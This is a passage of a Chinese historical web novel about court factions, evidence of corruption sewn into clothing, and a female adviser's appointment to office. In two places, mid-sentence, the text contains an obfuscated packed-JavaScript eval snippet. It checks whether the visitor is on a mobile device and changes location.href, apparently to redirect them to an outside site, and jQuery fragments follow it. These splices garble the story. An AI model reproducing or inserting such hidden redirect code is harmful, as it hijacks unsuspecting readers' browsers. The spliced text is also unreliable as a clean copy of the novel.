“张瑛手中有孙立言的家眷,孙立言只能听命于他,不敢将证据交出。但他如今落到钱莘手里,底下人招了出来,所以钱莘才如此着急,想要知道那份东西到底被藏匿在哪里。” “那倘若,这份证据落入钱党手中...” “那么,孙立言及其家人失去价值,必死无疑。” “公主!有要事禀奏!”越兼步履匆匆而入。 公主连忙问:“是否是孙立言那里出了什么事?” 越兼点头:“今日丑时,有人潜入刑部大牢,暗杀孙立言。” 季泠立刻站了起来,与公主相视对望,两人心领神会。 张瑛坐不住了,他要先下手为强,以免后顾之忧。 “死了吗?”公主问道。 “没死,狱卒似是早有准备,救下来了,但身负重伤,怕是活不久了。” 公主屏退越兼,与季泠一起坐了下来。 刑部大牢的狱卒早有准备... 莫不是上面有人预料到了,先下手防止孙立言被害... 若是刑部郎中下的令,这就情有可原了。 “殿下,这件事,我们能否插手其中?” “那是自然,孙立言手中的证据,我们要设法拿到。目前张瑛还动不得,我们暂时也没办法一击即中。但有了他的证据,我们才有更多布置后手和周旋的空间。” “昨日宴席中,张瑛并未直接提及吏部侍郎的人选,但微臣推测,他们的候选并不是完全忠于张大人的。” “本宫料想也是。如今他手下并无能胜任这个职位的人选。” “既然如此,殿下何不助推一把?” 公主若有所思:“你的意思是,选一个完全中立的人,这样一来,对我们也有利?” 季泠点头。 “你有什么想法?” “臣大胆进言,刑部郎中徐大人,也许是一个好人选。” “徐翰程之子徐行?” “正是。” “本宫若没记错,徐行曾经是你在建州的先生吧?去年你在刑部的案子,是他审的。他该是早已认出你了。” 季泠一凛,微不可察地调整表情:“殿下明察。执庸是殿下的人,季泠才是徐大人的学生。” 公主一笑,观察着她的神情:“为何是他?” 季泠笑道:“既然钱莘和张瑛都想杀人灭口,以求无后顾之忧,不如让咱们做了这好事。臣听说,孙立言前两年养了一个外室在长柳胡同的一处小院子里,当时孙夫人闹得厉害,孙立言便少去了...” “证据可能被孙立言藏在外室家中?” “暂时也只是臣的猜测。否则钱莘控制了他的家眷这么久,为何还没有得手或销毁?也许根本就不在他家中。依臣所见,张瑛想保举的也是徐大人,想借他的手处置了孙立言,再用这个功劳将吏部侍郎的位子顺理成章地给他。” “若是我们暗中插手,让孙立言无声无息地死了...徐行也不必上张家这艘贼船了。他不受制于张瑛,对我们才更有利。” 两柱香燃尽后,季泠告退,越兼听诏而入。 徐府内,徐行换上绯色云纹圆领袍,准备好去刑部衙门。 还未出门,览风便前来禀报:“大人,昨日孙立言在狱内被暗杀了。” 他应声,边走向马车边问:“死了吗?” “没有,被咱们先前安排好的人救了下来,但已经腹部中了一刀,流血过多,怕是命不久矣。” 徐行依旧快步走着,思考一会后低声说:“找个大夫把他的命先吊着,在没有问出册子的下落之前,别让他死了。” “是。” 览风领命离开,阅云同徐行上了马车。 昨日刘辅钦在散席后特意给他说的一番话,他不是不知道,他若想坐上吏部侍郎的位置,就只能依照他们的意思,给一些不痛不痒的佐证出来,草草了结了孙立言之案。 但眼下他还没审问出这个誊录张党证据的册子,还由不得其他人将孙立言杀了。 他沉思着,瞟到香炉上冉冉升起的白烟,莫名觉得头疼,当即吩咐阅云:“等会便将这个香炉撤了吧。” 阅云不明所以,见徐行没有回应,只好应下。 刑部大牢内,重伤的孙立言醒了过来,头发状若枯草,神色仓惶,怏怏地倒在牢内,再不复从前吏部侍郎的风采。 他知道自己的日子没几天了,昨日被提审,他仍然咬死不说。他的家眷都在张瑛手中,无论他说与不说,他们都不会放过他的妻儿,那又何必遂了他们心意呢? 忽然有脚步声由远及近,孙立言已经不抱希望,头也不抬。 “吱啦”一声,牢房门被打开,进来一个年纪五十多岁的人,行装打扮倒不像是狱卒。 来人走过来检查了孙立言的伤情,开始询问孙立言是否疼痛等等。狱卒站着看了片刻,便走向一边休息去了。 “孙大人,老夫今日奉命到长柳胡同里,为丹香和您的幼子请了平安脉。再过几日,便是您幼子的四岁生辰宴了。” 孙立言立刻睁眼坐了起来,目眦欲裂。 “孙大人,莫动气,老夫是来帮您的。您这伤口情况不佳,想必您自己也知道,没几日好活头了吧。” 孙立言不言,只瞪着他。 “您这一死,孙家倾覆,黄泉路上也不会寂寞。只要您将册子藏匿之处告知,我们必然保丹香母子平安。”大夫靠近他的耳边,压低嗓音。 “你们,你是谁派来的?” 大夫轻声耳语几个字,孙立言忽然笑了出来,扯到腹部伤口,又重重喘了几口粗气:“殿下既然愿意为我这等小人操心,小人深谢了。” 后又是来回的几轮对话,大夫结束诊治,走出牢门,随后向徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446299|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行复命:“大人,孙大人伤势过重。卑职开一副药,浓浓地给孙大人服下,只待看明日孙大人能否挺过了。” 徐行送走大夫,来到牢房看着孙立言。 孙立言现下已无后顾之忧,看着徐行哂笑道:“狡兔死,走狗烹啊,哈?徐行。如今也轮到你来看我的笑话了。” 徐行不做声,皱着眉看向他。 “张瑛不是什么好主!你看看我现在的下场吧!哈哈哈....” 孙立言痛苦地喘着,想伸手够到徐行,刚抬起手,又失了力气垂下。看着他这样,知道也问不出什么,徐行思索着,最终离开。 不知道是大牢里空气浑浊,还是孙立言那句“狡兔死,走狗烹”,徐行感觉胸闷。这几日事情太多,一股脑地涌过来,他连轴转着,精神和身体都没有停歇,许是有些倦怠了。 回到衙门内,他继续看着卷宗,想寻一些孙立言之案的蛛丝马迹。 孙立言现在破罐子破摔,知道自己与家人难逃一死,什么也逼问不出来。 但是他看起来却不是穷途末路的无望,似乎是留有一些余地,这可不是死到临头的样子...一定是漏了什么细节,他还没发现... 傍晚,天色渐暗了,晚霞蔓延了一整片天,条条浓郁,红得发紫。才子佳人在湖滨柳畔欣赏灯火燃起,群鸟归巢,这样十足十的美景,倒是显得爱情也是如此美丽又绚烂。 大牢内的囚徒不见天日,体会不到日落月升,心里已挂着白茫茫的缟素。 狱卒抬头望着天际过于浓郁的颜色,颇胜出凄凉之情。红艳艳的,像是地上流出去的血河... 长柳胡同里,丹香母子正在收拾行囊,身边多了六个高大的侍卫,腰佩利剑,等待着入夜出发。 “娘亲,咱们这是去哪?” 稚子不明白发生什么,只是呆呆地坐着,看着自己的娘亲慌忙地收拾东西。 “我们要离开京城了,娘要带你回蜀地外祖家...” “那爹爹呢?” 丹香不语,收拾到橱子里最里头的几件冬衣。她一呆滞,抱着那几件衣裳默默流泪。 侍卫不耐烦地催促了,她才恍然,用剪子将线挑开,抽出数条布帛来。 “这便是大人要的东西了。”她吸了一口气,下定决心给出去,而后将划烂的衣裳用一块布随手一包,扔进了橱子里。 天色暗下来了,长柳胡同里一辆轻便马车蒙着夜色朝城外驶去,只留下低低的歌谣声... 午时,大夫前来为孙立言复诊,孙立言见了后,只喃喃了几句:“好...好...小人深谢殿下...” 大夫离开后不久,狱卒连忙禀告徐行,孙立言要不行了。 徐行快步来到狱中,见孙立言已呈灰白之相,濒死之际了。 “徐行...老夫知道你想要什么...我给不了你...但我可以帮你一程...钱莘算错了,他想要的已经没了...可他真正需要的,还在我手中呐...” 徐行皱眉,孙立言气若游丝,说完后,猛地瞪大眼睛看着他,脖子僵直,似乎想要坐起来。 而后就一瞬间,整个人垂下,没了气息。 徐行闭了闭眼,虽然孙立言贪墨受贿,但在吏部多年,办事倒是勤勤恳恳。 坐上这样的位子,是世人都羡慕的登云梯,可是脚下的每一根木头,都各有名头,由不得他做主。 一步错则步步错,再想回头,便是不可能的事情了。 38. 孙立言案 文渊楼前,一个侍卫将几块布帛与一本册子交给越兼后,耳语几声又退下。 越兼立刻进去,穿越坐在两侧圈椅上的十位幕僚,疾步来到公主身边。 公主瞥见后,扫视了殿中众人:“先退下吧,此事容后再议。” 如今,季泠已经端坐于左侧第二张圈椅上,随着众幕僚依次起身,拱手告退。 “执庸,你留下。”季泠快走到门口时,公主才留住她。 走在季泠后头、先前坐在首位的沈赟偕不由得顿了一步,睨了一眼从她旁边往回走的季泠。 待她行至门前,方才踏过门槛,转身便见侍卫将门缓缓关上,一扇门隔绝了她与殿内三人。 “你过来看看这个。”公主将季泠招到跟前,拿起那几块布帛和册子。 季泠将布帛抖落开来,一一仔仔细细阅览,随后又翻开那本册子,不由惊叹:“孙立言也是谨慎心细,将证据都用发丝般的细线绣在绢帛上。若藏匿在一些厚衣裳的领口肩背处,岂不是轻易就蒙过他人眼去。” “你还真说对了,这些就是在他那外室的衣裳里弄出来的。” “殿下送走了他那外室与孩子,岂不是多了一个知晓内情的祸患?” “放心,他那外室大字不识,一双巧手,绣工精湛。估计也是这样,孙立言才让她来藏匿。不知者才更不顾及危险。”越兼补充道。 “先将这个收起来吧。”公主吩咐越兼将绢帛收好,留下誊抄的副本册子。 贪墨、受贿、卖官、包庇……张党桩桩件件,孙立言的手也并不干净。 看向册中白底黑字的累累罪证,季泠内心叹了一口气。 上位者的倾轧乱政,违法祸纪,看似是撒出去的一滴水,流到百姓之家便是没顶的灾涝。 或许,她可以借别人的手,让这些沉浮其中的百姓获得喘息的机会。剩下的,她只能一步步走,不能操之过急。 孙立言一死,张瑛心事了了一桩,但这份结案陈词该如何写的滴水不漏,又是徐行的态度了。 料理完孙立言身后事,徐行坐在案前思索着孙立言死前的那番话。 钱莘真正想要的是什么呢... 难不成,孙立言手中的罪证不仅是张瑛等人的,还有钱莘的... 他立刻叫来阅云,低声吩咐一番。 阅云领命退下后,徐行随手摊开案卷,所呈之处,并非是他先前看到的内容。 徐行抬头张望,今夜的刑部衙门之中,只有他一人通宵达旦。眼下夜色暗沉,四下寂静,唯有鸣虫不休。风吹而过,拂起书页,几声细微清脆翻过,就见其中赫然夹着一张短笺。 徐行面不改色,再度张望,确认过后才展开短笺,上面赫然列了十几条张党证据。 其中就有浙江巡盐御史以身试法,偷贩私盐之案。而此案未过多久,该巡盐御史离奇身亡,这个肥缺却由孙立言的女婿顶上。 余下的虽是不足轻重的小角色,并未涉及到四品以上的高官大员,但这无疑让他多了一份交代。 是谁在这个关头送来这个? 孙立言说,他给不了他想要的... 难道张瑛的证据已经提前一步落入他人手中? 而此人却给了徐行这张短笺,是想助他一臂之力吗? 孙府如今被江阔带人围困起来,密不透风,这些东西只可能在府外了。 徐行看着短笺上的小楷凝神思考,却忽然发现,字迹略有些眼熟。 在哪儿见过呢? 等徐行带着刑部诸人赶到长柳胡同时,屋内已经人去楼空。 虽然已经知道有人先行一步拿走了张瑛的证据,徐行还是不免有些失望。 “大人,已经仔细搜查过了,没有什么遗漏的东西。”阅云先到几步,将这座宅院仔细搜了一遍,除了一些来不及带走的家什衣物,没有什么可疑之物了。 徐行在屋内踱步,仔细想着孙立言的话和那张短笺,不经意间瞟到了那个暗红色雕花木橱。 前头的人走的匆忙,橱子的门还未关紧,留下一个衣角夹在橱门之间。 徐行上前将门拉开,滚出一堆裹成一团的烂衣裳。 “不过是几件没人要的旧衣裳...”搜寻的下官见了,应了一声。 “不对,这个衣裳怎么都被铰烂了。”还是阅云先注意到几件冬衣的领口贴身都被扯开来,将上好的风毛都给扯坏了。 徐行将衣裳全都抖落出来,摆在屋中的浮雕束腰八仙桌上翻看。 他仔细摸着,下摆厚度与腰身侧不同。“拿把剪子来。”因为绣了繁复的花纹,又是冬衣,若不一毫一厘地摸过去,是察觉不出什么问题的。 徐行接过递过来的剪刀,从后腰省的位置裁开,果不其然,厚缎之间夹着与衣裳同色的薄绢,用丝线固定在侧边接缝处。 徐行裁下后一目十行,赫然记着钱莘手下的各类恶行。 “阅云,全部收起来,带回刑部。”徐行直起腰身,挥过大袖,严正下命。 初夏时日,朝野上下吹过的是肃杀冷冽的阴风。 刑部、都察院、大理寺各属臣昼夜不歇,立案,抓捕,提审,搜证,录供,判案,定罪,复核,整理卷宗归档… 十三清吏司,各提刑按察司也随着天子震怒而开展清算,从中央至地方,由孙立言起头的一连串查处正式开始。 上上下下革职、流放、斩首、连坐了上千人,持续了三月,孙立言一案才算是结束。 刑部才歇下一阵,吏部元气大伤,紧接着,朝廷上的调令下来,原刑部郎中徐行迁吏部侍郎,仍兼詹事府少詹事。 詹事府之职位代表的是天子恩宠,对未来的储君起辅导管教之责,而吏部又向来居于六部之首,如今的徐行可谓是前程似锦。 也许是累月的劳累,上任没多久,这位新晋吏部侍郎便大病了一场,向天子上奏,休了病假。 来诊断的太医前脚刚走,应明就火急火燎地冲进屋内。 “这样大好的时机,你怎么还不动手乘胜追击?时不再来啊!错过这一次,等这几个老鳖孙重整旗鼓,我们岂不是白做功夫!” “欲让其亡,先让其狂。该休整的不是他,是我们。” 徐行不慌不忙地落笔,写了一封密信,仔细密封好,交给阅云,又嘱咐一二。 “你们这又是在打什么哑谜?别又把我当傻子一样瞒着呀。” 徐行在他一旁端正落座:“张瑛是三朝元老,我们不过是新晋后辈,哪有这本事对付他呢?谏臣自有人做,英名更有人争。更何况,当下该对付的可不是张瑛。“ 张瑛下面的人狐假虎威,他老了,包庇之罪又有什么用呢。最棘手的对手应该是钱莘才对。 历代的内阁首辅,都踩着前任的尸身登上高位,用前任的血为自己立威,钱莘自然与先辈不谋而合。 只有张瑛死了,他才能上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446300|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 区区一个徐行,他根本没放在眼里。未及二十就进士及第如何,七年就爬到侍郎的位子又如何?那些平头百姓和苦苦挣扎在宦门之外的生员举人,才会对这样的成就大加赞赏,好像少年小有成就代表了一生顺遂。 徐行在他们眼中是不过是一个具象化的理想士人,其他人看着他,好像自己也能做到这样。 可笑! 普天之下,哪一位权重气盛之臣不是自小被身边人称赞为天才的? 往前二十多年,他钱莘也是年少成名,一篇讽刺宦官弄权的谏文也是名扬天下,得到了当时内阁首辅夏大人的青眼,从而一路高升,顺利进了内阁。 彼时,他的老师夏大人已经因多次直言上谏而引得皇上不满,但夏大人当年正是因为豪迈强直才得陛下赏识,因而他也不认为自己有何之错,只觉得皇上越不满,他越要进言,这样才能彰显他这个阁臣首辅的刚正忠心。 那是,张瑛势力已经日渐壮大,在夏大人丁忧返乡的三年中,拉拢朝臣,培植势力,发展党羽,隐隐要超过这位首辅了。夏大人回京之后,将一连十数人都收押治罪,想要尽数拔出张瑛势力。 这便是张瑛的厉害之处。他从未将其他官员与自己捆绑过深,只是提拔一些能干实事的臣子,同时吸引了一批与他政见相同的人才,由此才形成壮大的张党。但手底下的人就算如何违法乱纪,也与他无关,牵扯不到他的身上。 而夏大人不由分说地将所有相关之人视作异党铲除,使得上下人心惶惶,噤若寒蝉,也让众多人心生不满,认为这位首辅过于权势滔天,想要只手遮天。张瑛抓住了这个机会,给了夏大人一击,而他钱莘自然乐得在背后推波助澜一番。 不过,久居人下的滋味真不好受啊...如今他也要争一争了,历史又要重演了... 明月如霜,好风如水,清景无限。徐行换上一身皎玉色方棋纹道袍,走进书房里。 也许是因为在家中休养多日,他的心都静了几分。 在这样暑热难捱的夏日,先前的檀香已然沉闷,反而让人心烦。刚歇下来那几日,他便亲自选了玄参、大黄、甘松、炼蜜、丁香等几味香料,磨成了香粉。 徐行打开桥耳炉,用灰压铺平了灰,拿铜柄灰扫细细扫了炉边灰,提过一只莲花纹香篆,用香匙铲了香粉,仔细地填平后,起篆点香。 看着袅袅香烟顺着镂空上盖飘出,他闭眼深深吸了一口气,胸腔缓缓地起伏了几波,未几便平静下来。 焚香烧忧愁,站在书桌前,徐行提起笔,气定神闲地练起了字。 阅云站在一旁,看着徐行一气呵成,纸落云烟。 “用舍由时,行藏在我。” 他默默注视着这几个字,片刻之后将纸拿起来交给阅云:“烧了吧。” “少爷,这张字写得这么好…为何不裱起来?您若看不上,赠给卑职也好。” 徐行摇摇头:“写得不好,不必留着。” 多年以来,他效仿老师,内报不群,外欲混迹,只求在这汹涌暗潮之中不被裹挟。 可一味躲避又如何呢,像孙立言一样,做足了双方的后手,最后还不是锒铛入狱,坐以待毙。 张瑛和钱莘都想将他拉入浑水之中,他和老师又怎么做才能独善其身。 也许,他是时候做出一些改变了。只需要等待一个绝佳的契机。 他将以山止川行之势,以战必胜,以攻必取。 39. 升官出府 一场秋雨一场寒,初五早朝过后,众臣惴惴不安。 夜里的雨在朝会时间短暂地停了,雨水从两行板瓦间流到滴水上,如丝线般无间无断地坠落,过了丹樨之下,最终顺着石砖流入金水河中。太和门的龙纹瓦在阴云天中折射出森冷的厉光。 京城内外,秋风萧索,黑云压城,人人自危。 徐行往宫门走去,就看见徐家的马车边停放着一架三马并驾的革辂,边上站着一位瘦削老者,腰佩玉革带,身着白鹤补子绯袍,这是当朝最有权势之人,几乎是一人之下,万人之上。 徐行站在宫门边,凝视着那人,直到他转过身看着徐行。 徐行换上得体的笑容,自然地走过去拱手作拜:“张大人。” 张瑛看着徐行,似乎等待已久:“润旻,老夫还未祝贺你高升呢。” “润旻能有今日,全靠张大人赏识提携。”他一直弓着身子,在张瑛面前温顺至极。 张瑛抬头看着他,嘴边的褶皱藏着笑意,眼中却是一片冷清:“是吗?总归是你自己有几分真本事,一连递了那么多证据上去,不必老夫出言,陛下已然对你十分赞赏。” 张瑛的言语如软荆条般,朝他后背抽了几下,让他不由自主地低了一些:“张大人实在抬举润旻。只是当日搜查之时,在场大大小小的官吏少说也有十数人...说到底还是润旻无用,未能及时截住消息...只能尽力隐藏一些...” 他说得恳切,张瑛摸不到漏洞,承他的话笑了几声,拍了拍他的臂膀:“放心,我今日不是来责问你。这样一场胜仗,没有些死伤是不可能的。只是,孙立言的后果,你也看见了,心思太多,恐伤其身呐。” “润旻谨记张大人教诲。” 张家的马车声势浩大地离去,直到狐假虎威之人也渐渐退场,徐行才终于直起身子。走过的同僚见他站着许久,又考虑到他如今地位非凡,纷纷前来恭贺他升迁之喜。 他意识到自己太过显眼了,应付完几人后抓空上了马车。 车帘落下后,强装出来的笑意立刻被黑暗吞噬。 下朝之后,公主并未像往常一样直接回公主府,难得地留在宫内给皇帝请安,并与皇帝一同进午膳。 皇上近几年身体不太康健,虽然太子之位一直空悬,但他膝下只有一儿一女,朝臣皆知,不出意外,下一任帝王非当下汉王莫属。 高祖开国之时,多位公主与皇子一样,领兵打仗,参与国事,手握封地,开府养兵,权势滔天。可以说,没有开国的诸位公主开疆拓土、治国理政,如今天下也难享太平。 各位公主虽然手握权柄,但所尚驸马皆是无权无势之流,公主也不能继承大统,故而高祖也立下规定,本朝公主待遇权力与亲王别无二致。 皇帝看着他的长女,似乎看到了昔日他初为新皇的时候,天下已过三朝,到了他手上,众多老臣功勋已经开始怠政,自恃功劳,猖狂放肆,目无天子。 他坐在至高无上的位置上,说出的话明面上是圣旨,实际上那些老臣将士都只当是小儿玩笑。是他的皇姐,前几年已经过身的长公主,站了出来,以雷霆手段控制住了朝堂局势,在监国理政的同时教授他帝王权谋之术,让他安坐在这个位置上数十年。 现在,他的长女已经成熟了,一颦一笑,一举一动,已经初露昔日长公主的风范。他微不可察地叹了一声,公主立刻观察到,柔声体贴道:“父皇是有什么烦心事?可否说出来,让儿臣替您解忧?” 华荣公主谢仪端庄大方,雍容华贵,堪为天下女子表率。他的女儿,是他与皇后从小疼爱,悉心栽培的,他最知道自己女儿的性子。无事不登三宝殿,没有所求,她不会进宫陪自己这个父皇用膳的。 是什么时候开始变的呢? 遥想当年,他在谢仪看中当时阁臣之子,想要择为夫婿时,狠狠地泼了她一盆冷水:“仪儿,皇家里,感情是最不可靠的东西。” 他只给满心欢喜前来求旨赐婚的谢仪撂下一句话,就走了。 从那时候起,谢仪不再活泼,不再有情,将所有的精力都放在替他打理朝政上。时移事宜,如今年岁渐长,他这个皇帝却开始渴望儿女绕膝之亲了。 “无事,只是父皇老了,总想多见见你们姐弟。” 谢仪莞尔一笑,十分周到:“父皇若是想我们,派人前来宣召即可,儿臣岂有不从的?” 公主府在京城最靠近皇宫的地界,她要出入,轻而易举。 只是没必要。 皇帝也没想到,到了这个年纪,想见见自己的孩子,还需要靠层层宣召,这样形式上的召见,坐在他旁边用膳的也只是奉命前来的公主,而不再是他的女儿。 皇帝不言,他要开始做些准备了。 午膳后,公主随皇上进入养心殿议事,只留严诚侯在殿前。 他只听见里头传来一些争执,公主在激动地进言,皇上在斥责,劝告,最后似乎是妥协。而后便是父女两人克制地交谈。 朱门一启,公主仪态万方地从殿中走了出来,严诚将公主送至车轿前。 “多谢严公公。父皇近日身体欠佳,似是有些咳嗽,您吩咐人煮一碗竹蔗马蹄水送去吧。” “是,殿下。” 回到养心殿,皇上已经拟好诏书,交给严诚,命他下传吏部。 “严诚,公主走时神情如何?” “秉皇上,公主神色自若,并无不妥。” “公主大了,我却老了…如今,我倒有些看不透这个女儿了。若她是个儿子,将来天下也算后继无虞了…可惜…” 严诚不语。 晚膳过后,下人送来竹蔗马蹄水,皇帝称赞了一番,严诚抬眼观察,适时开口:“还是下午公主走时吩咐的。公主内敛,虽然嘴上不说,但心里是挂念陛下的。” 皇上陷入沉思。 他的女儿现在看来,一切都好,只是权势过大的同时,野心也在日益膨胀。 皇家先君臣,后父子,如果她脱离了掌控,那么他就要寻机会打压一番了。 刚巧,这水送的及时。严诚见皇上心情不错,斗胆在心中揣测了一番,替谢仪舒了口气。 出宫回府,谢仪于礼贤殿与府臣僚属们议事,半日结束后,她将季泠叫了来。 “执庸,从今日起,你不必留在公主府了。” 季泠听到这话,瞬间呆滞,还不容她多问,公主就继续开口。 “放心,不是贬谪你。自你入府至今,算一算,也有两年多了吧?” 季泠内心惴惴,缓缓点头。 “你成长得很快,现在,公主府不需要你了。我有新的任命给你。” 而后,她拿出了从宫里求得的诏谕:“等吏部的文书下来,你就去户部上任吧。” 季泠接过诏谕——圣上亲笔,任她季执庸为户部清吏司主事,官居六品。 拍来的第一浪是膨胀成云的惊喜,再一浪拍来,消解了先前虚胀的泡沫,余下其中的震骇与惶惑。 “可是殿下,我是女子…且我没有科举,六品官员并非小吏…” 公主不容拒绝地说:“你去就是,你担心的一切,这份诏谕已经替你作保了。” 谢仪拉过季泠的手,允她分享她的金鸾高位:“执庸,这不是奖赏,是冒险。” “你是第一个从公主府走入朝堂的女子,将来可能还有第二个,第三个,乃至成百上千个,但你是第一个,你明白吗?” “我将冲锋陷阵的重任,交给你。” 殿外,不知何处传来一声鸟啼,随后再是第二声,第三声。 最终是欣欣向荣中的啁啾争鸣,冲破她的杌陧不安。 季泠看着公主殷切鼓舞的目光,将所有疑惑都暂时咽下,郑而重之地点了点头。 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孙立言之案过了数月,朝中多位悬空,众臣规行矩步,现在正是她布局的最好时机,季泠就是她下出的第一子。 其实这句话,她不仅是对季泠说,也是对自己说。 不知道是不是今天看到了她父皇鬓角的白发和不再清明的眼睛,她心中细浪翻腾带起的,是她一直尽力压制的东西。 季泠看着公主,她难得跟公主并肩站在一起,这是一种奇妙的感觉,让人沉醉又迷恋。 宫灯熠熠,公主发髻上的金嵌宝如意扁簪和一组金累丝四季花卉簪迷了人眼,衬得公主更是气度华贵,端庄威严。 回到东三所,季泠开始收拾东西,边收拾,边回忆在这间屋子里的一切。 随着她的升迁,她以后的院落兴许会越来越大,但是身边的人将会越来越少,与亲友的距离也会越来越远,这究竟是福还是祸呢? 一转念,想到公主今日对她说的话,为她做的安排,她加快了动作。 “打破得失毁誉,方可成天下事。”她轻叹,下定决心。 初秋时节,凉风瑟瑟,京城树木开始一场庞大的落叶,飞鸟的踪迹开始消失,安稳冷寂的冬天不远了。 到了石竹巷,季泠与越兼下了车,推开了巷子里的一处房屋的门。 “公主将这座宅子赐给了你,从今以后,这里就是季宅了,石竹巷离公主府就几条胡同的距离,你日后上朝听政、去衙门公务也都方便。”越兼介绍道,“这处宅子不算大,两进两出。好在位置极佳,这条巷子也安静,你住起来也舒心。” 越兼带着她走过垂花门,走进内院。院子里已经有几个丫头在清扫整理,见越兼来了都停下手中的事情行礼。 “这是主院,之前我也没有进来仔细看过,如果有什么缺漏,你再说,让下面的人去准备就行。” 到了主屋门前,季泠看见里一面太师壁,两侧的抱柱上是一联漆书:“登高临下,无失所秉。履危行险,无忘玄伏。” 太师壁下是一张条案,中间供放着一樽镇宅寿石,左右各放置着一个大理石台屏与花瓶,取的是屏平案安之意。 随后,她看见,有一个身影隐匿在太师椅后的高足花几边,似乎有些眼熟。 她转头问越兼:“那人是谁?” 里头的人听见了,转过身来走了出来,朝她一拜:“季大人。” 季泠难抑欢欣道:“林微?” 越兼点点头:“你既已经自置家宅了,身边肯定要有些亲信。林微是你带到公主府的,知根知底,帮衬你再合适不过。” 季泠拉住林微的手,感动轻喃:“殿下真是为我考虑周全…” 她不过是京城之中最不起眼的杂草,又何德何能博得天女舒悦,为她降下甘霖。遍览周遭,只能以一身青青薄色,还一片万古流芳。 40. 领凭上任 几日后,吏部授职文书公布下达,先前被革职的官员众多,此次内阁拟定了升迁官员的名单,多达十数人。 谭谦迁为礼部侍郎,五寺六部九卿许多位置也被补上,季泠这个新出头的年轻人自然引不起什么风波。 这一个月,衙门和家中两头兼顾,季泠总算是将自己的一方院落安置清楚。站在浮云堂前,看着刚挂上去的匾额,心情大好。 “浮云堂,这倒是你的风格。”林微站在她旁边,仰望着三个大字。 “要不要给你的东厢房也弄一块儿来?” “罢了,你也知道,我懒得弄这些。” 如今这个院子里除了前院的长随车夫,后院只有碧萝、青萝、云萝、紫萝这四个小丫鬟,还有白芨和白蔹两个近身伺候的侍女,季泠和林微平日忙碌,许多事情又喜欢自己动手,这几个丫头倒也清闲了。 吏部衙门内,负责贴黄的官员见了新官档案,自言自语道:“这个季执庸是什么来头?怎么就直接跳过科举、外放,既无家世,又无政绩,凭空成了个六品官了?” 正翻着她的档案,案前一片阴影投下。徐行经过他案前,驻足留意。 那官员见了连忙起身请礼:“徐大人。” 徐行微笑,随口一问:“是户部新任的清吏司主事吗?” 那人应声:“正是。” “交给我吧。”徐行说道。 那人一愣,不懂徐大人此举是为何意,但还是恭敬地交了出去。 徐行回自己案前坐下,翻开季泠的档案。 公主府咨政参议… 原来是得了公主的青眼,难怪出身和过往经历如此干净,叫人挑不出错处。 徐行轻笑摇头,没想到,季泠如此迅速,这么快就已经入仕了。只是这趟脏水,一旦进来,没有脱层皮是出不去的。 季泠得知了领取任职凭证的时间后,一刻也没有犹豫就直赴吏部。 初到吏部,她还未曾熟悉,一时难免无措,站在衙门前踌躇片刻,低头看了看身上的青袍,才寻人开口作问,在指引下来到了领凭处。 “大人,此处可是领取任职凭证的地方?” 那人见了季泠,抬头问:“你是?” 季泠自报家门:“在下是户部新任清吏司主事,季执庸。” 仔细打量了一下,这人看起来甚是年轻,不算高,比寻常男子要清瘦些,不过建州来的,倒也正常。面容看上去是有些秀气的,只是有几分疏离冷淡,教人不会去随意拿捏。 考虑到她背后势力深浅莫测,他也没有表现出什么,只是公事公办地说:“初见季大人,有礼了,您的凭证不由我负责,已转到上面去了。” 说完,给季泠指了指方位。 “多谢大人。”季泠欣然行礼。 一见那官帽椅上坐着的人,季泠当即讶异出声,以至于忘记压低自己的嗓音。 “徐大人?” 徐行听见后抬起头,会心一笑:“前来领凭?” 季泠点了点头,徐行起身招呼她上前,将季泠的凭证交给她后,为她引座:“还需浅等片刻,还有一份到任须知,我让底下人去拿来。” 季泠双手接过后道了谢,找了个离徐行有一定距离的位子坐下。 徐行见状有些无奈,他有这么招人嫌? 于是他走进些,季泠立刻站起来,老实巴交地低头,准备听训。 徐行态度放得更加温和:“今你既已入仕为官,那本官也是有几句话要告诫你的。” “敬闻大人教诲。” 态度倒是端正。 “入了朝,可就跟在公主府做事不一样了。慎终如始,坚明守正,晨兢夕厉,慎独善思,心系生民,这是基本。” 公主府三个字从徐行口中说出,季泠瞬间寒毛直立。徐行知道她的一切过往,那么究竟是敌是友呢?以交情来看,自然是师生情谊,但以立场来看呢?一切都不明朗,她只能自己猜测。 “大人诫言,下官谨记,不敢忘怀。”季泠拱手一拜。 “前头上官告诫的,是你的责任,现在先生教你的,是你的使命。” “世人评说,流言蜚语,皆随他去。前缘过往,纷纷扰扰,掘地自掩。机阱满前,众镞攒体,犹能不畏。你,可知晓?” 季泠心受震动。徐行还是那个徐行,是她小人之心了。无论立场如何,他们殊途同归。 季泠再次深拜她的先生,是恭敬,是尊重,也是感谢。 此时去拿到任须知的人也已回来,徐行接过,递交给季泠。 几张薄纸,徐行置于她手上时,轻轻下压,这是一份重任,他在提醒她。 “户部水深,切勿轻信、轻听、轻言。应侍郎处事有道,可引以为鉴。” 看着季泠领凭离去的背影,徐行有些感慨。曾经的学生,如今也要开始独当一面了。刀光剑影之下,她还能每次都化险为夷吗? 在正式上任当日,季泠还有些激动难抑。 五年前,她站在齐家大营之中,一身布衣站在沙盘舆图之间,艳羡着前方那身纻丝绯袍。 